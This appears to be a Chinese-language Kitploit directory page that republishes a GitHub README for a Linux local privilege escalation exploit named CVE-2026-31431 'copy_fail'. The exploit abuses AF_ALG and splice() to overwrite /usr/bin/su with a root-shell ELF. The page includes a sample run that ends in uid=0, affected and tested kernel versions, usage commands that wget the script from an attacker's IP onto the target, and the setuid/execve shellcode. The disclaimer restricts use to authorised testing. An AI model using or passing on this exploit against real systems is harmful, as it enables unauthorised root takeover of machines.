Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
权限提升漏洞利用框架漏洞分析漏洞利用Payload 开发二进制利用
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

PoC shell 漏洞利用,针对 CVE-2026-31431 (copy_fail) — 通过 AF_ALG + splice 页缓存覆盖实现 Linux 本地提权。单次触发,无竞态条件,适用于内核 4.9–6.18。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
374个月前尚未审核

CVE-2026-31431 - copy_fail shell

通过 AF_ALG 套接字 + splice() 页缓存覆写实现本地权限提升。

将只读的 SUID 二进制文件(/usr/bin/su)覆写为一个调用 setuid(0) + execve("/bin/sh") 的最小 ELF。无竞态条件,无发行版特定偏移,单次执行即可完成。

root@kitploit:~
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 处于受影响窗口内(4.9 – 6.18)— 继续执行
[*] 正在编译...
[+] 编译成功 — 启动

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

漏洞描述

Linux 内核的 AF_ALG(crypto API)套接字与 splice() 结合使用时,可通过操纵页缓存实现对以 O_RDONLY 打开的文件进行写入。内核在 ALG 套接字的 splice 路径中跳过了写权限检查(即 copy-on-write 快捷路径)——这与 Dirty Pipe(CVE-2022-0847)属于同一类漏洞,但通过内核 4.9 中引入的不同代码路径触发。


受影响版本

内核范围状态
< 4.9不受影响(漏洞代码路径不存在)
4.9 – 6.18受影响(约 9 年,2017–2026)
≥ 6.19已修复

已测试环境

发行版内核
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

前提条件

  • 目标系统上具有本地 shell(任意权限级别)
  • 目标系统上可用 gcc
  • 对 /tmp 具有写权限
  • x86-64 架构

使用方法

root@kitploit:~
# 在目标系统上
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

该脚本将:

  1. 检查当前运行的内核是否处于受影响范围内
  2. 在目标系统上编译内嵌的 C 语言漏洞利用代码(无 zlib 依赖)
  3. 将 /usr/bin/su 覆写为 root shell 载荷
  4. 执行该载荷

工作原理

root@kitploit:~
AF_ALG 套接字 (AEAD)
      │
      │  sendmsg() 携带构造的辅助数据(ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd(操作套接字)
      ▲
      │  splice():file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

内核在 ALG 套接字内部的 splice 路径中跳过了 copy-on-write 权限检查,尽管目标文件以只读方式打开,仍可直接写入其页缓存。载荷(一个 160 字节的 ELF)通过 40 次迭代、每次写入 4 字节的方式写入。

载荷 shellcode:

root@kitploit:~
xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

文件

文件描述
copy_fail_exp.shBash 脚本 — 在目标系统上编译并运行,无需 Python
copy_fail_exp.py原始 Python 版本,供参考
copy_fail_exp_deobfuscated.py去混淆并添加注释的 Python 版本

免责声明

仅限授权的安全测试以及 CTF/实验环境使用。请勿针对您不拥有或未经明确书面许可测试的系统使用。

下载工具